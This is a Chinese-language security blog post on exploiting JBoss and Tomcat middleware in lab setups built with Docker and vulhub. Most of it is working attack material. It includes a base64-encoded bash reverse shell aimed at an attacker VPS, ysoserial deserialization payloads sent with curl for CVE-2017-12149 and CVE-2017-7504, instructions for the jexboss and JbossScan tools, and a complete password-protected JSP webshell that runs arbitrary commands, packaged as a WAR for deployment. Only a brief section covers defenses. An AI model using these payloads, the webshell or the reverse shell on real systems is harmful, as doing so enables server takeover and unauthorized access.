HacKerQWQ的博客空间

中间件利用面

Word count: 1.5kReading time: 6 min
2022/09/01 Share

本篇文章介绍一下中间件相关的利用面

常见的中间件有Jboss、Weblogic、Websphere、Tomcat、Apache、Nginx、IIS

Jboss

由于红蓝对抗中出现Jboss的概率较高,因此记录一下Jboss的利用面

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。

Jboss未授权访问部署war

默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

1
/jmx-console

环境搭建

这里使用docker镜像

1
2
3
4
docker search testjboss
docker pull testjboss/jboss:latest
docker images
docker run -p 8080:8080 -d 5661a2e31006

img
img
img

未授权访问测试

http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面
img

部署shell

点击jboss.deployment进入应用部署页面
img
使用apache搭建远程木马服务器
img
访问木马地址http:///shell.war
img
成功上传木马
img
访问http://192.168.18.129:8080/shell/
img

防御手段

  • 对jmx控制页面访问添加访问验证。

  • 进行JMX Console 安全配置。

JBoss反序列化(CVE-2017-12149)

漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响版本:

1
2
Jboss AS 5.x
Jboss AS 6.x

环境搭建:

这里使用vulhub的环境

1
2
3
svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-12149
cd CVE-2017-12149
docker-compose up -d

访问8080端口即可

image-20220821154751527

漏洞复现

访问路由/invoker/readonly,见到500状态码

image-20220821154937143

使用ysoserial来生成序列化数据到poc.ser

1
2
3
4
5
# 反弹shell命令base64编码
echo "bash -i &>/dev/tcp/xxx/xxx <&1"|base64
YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=
# 利用ysoserial的CC5链子生成序列化代码
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=}|{base64,-d}|{bash,-i}" > poc.ser

传递序列化数据进行攻击

1
curl http://192.168.119.157:8080/invoker/readonly --data-binary @poc.ser

image-20220821155803978

此时查看vps,成功监听到反弹的shell

image-20220821155842985

漏洞分析

该漏洞存在于http invoker 组件的 ReadOnlyAccessFilter 的 doFilter 中。如下图所示:

图片

方法中的代码在没有进行任何安全检查的情况下,将来自客户端的数据流(request.getInputStream())进行了反序列化操作(红色箭头所示),从而导致了反序列化漏洞。

JBossMQ反序列化(CVE-2017-7504)

漏洞描述:

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响版本:

Jboss 4.x

环境搭建

1
2
3
svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-7504
cd CVE-2017-7504
docker-compose up -d

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:

1
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser

我们将1.ser文件内容作为POST Body发送:

1
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

1

执行docker-compose exec jboss bash进入容器,可见/tmp/success已成功创建。

JBoss JMXInvokerServlet 反序列化漏洞

漏洞描述:

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

环境搭建:

参考CVE-2017-7504

漏洞利用:

1
2
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
curl http://your-ip:8080/invoker/JMXInvokerServlet --data-binary @1.ser

利用工具

jexboss

项目地址:https://github.com/joaomatosf/jexboss

项目介绍:

JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

简称:JBoss应用服务器攻击及其他Java平台攻击神器

Windows安装:

1
2
3
4
5
6
7
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

攻击组件:

image-20220822200116190

扫描模式:

1
python jexboss.py -mode auto-scan -network 192.168.119.0/24 -ports 8080 -results results.txt

image-20220822200930192

定点利用:

1
python2 jexboss.py -u http://192.168.119.157:8080/

image-20220822201121239

反弹shell成功

image-20220822201628441

JbossScan

项目地址:

https://github.com/GGyao/jbossScan

项目介绍:

扫描jboss漏洞

将url放入target.txt

1
python .\jbossScan.py

image-20220822203122675

JBoss漏洞检测工具 by lab

image-20220822203558445

Tomcat

Tomcat部署war

前提条件:能够进入Tomat管理后台

image-20220901113658282

准备恶意webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>horse</title>
</head>

<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>

</html>

打包成war包

1
2
jar -cvf [war包名称].war 打包目录
jar -cvf test.war *

将test.war通过部署war包的形式上传

image-20220901113949901

即可在网站对应目录下访问到webshell

image-20220901114107307

Tomcat任意文件读取(cve-2020-1938)

前提条件:

  • Apache Tomcat 9.0.0.M1 到 9.0.0.30
  • Apache Tomcat 8.5.0 到 8.5.50
  • Apache Tomcat 7.0.0 到 7.0.99

利用脚本:

https://github.com/zhzyker/exphub/blob/master/tomcat/cve-2020-1938_exp.py

参考链接

CATALOG
  1. 1. Jboss
    1. 1.1. Jboss未授权访问部署war
      1. 1.1.1. 环境搭建
      2. 1.1.2. 未授权访问测试
      3. 1.1.3. 部署shell
      4. 1.1.4. 防御手段
    2. 1.2. JBoss反序列化(CVE-2017-12149)
    3. 1.3. JBossMQ反序列化(CVE-2017-7504)
    4. 1.4. JBoss JMXInvokerServlet 反序列化漏洞
    5. 1.5. 利用工具
      1. 1.5.1. jexboss
      2. 1.5.2. JbossScan
      3. 1.5.3. JBoss漏洞检测工具 by lab
  2. 2. Tomcat
    1. 2.1. Tomcat部署war
    2. 2.2. Tomcat任意文件读取(cve-2020-1938)
  3. 3. 参考链接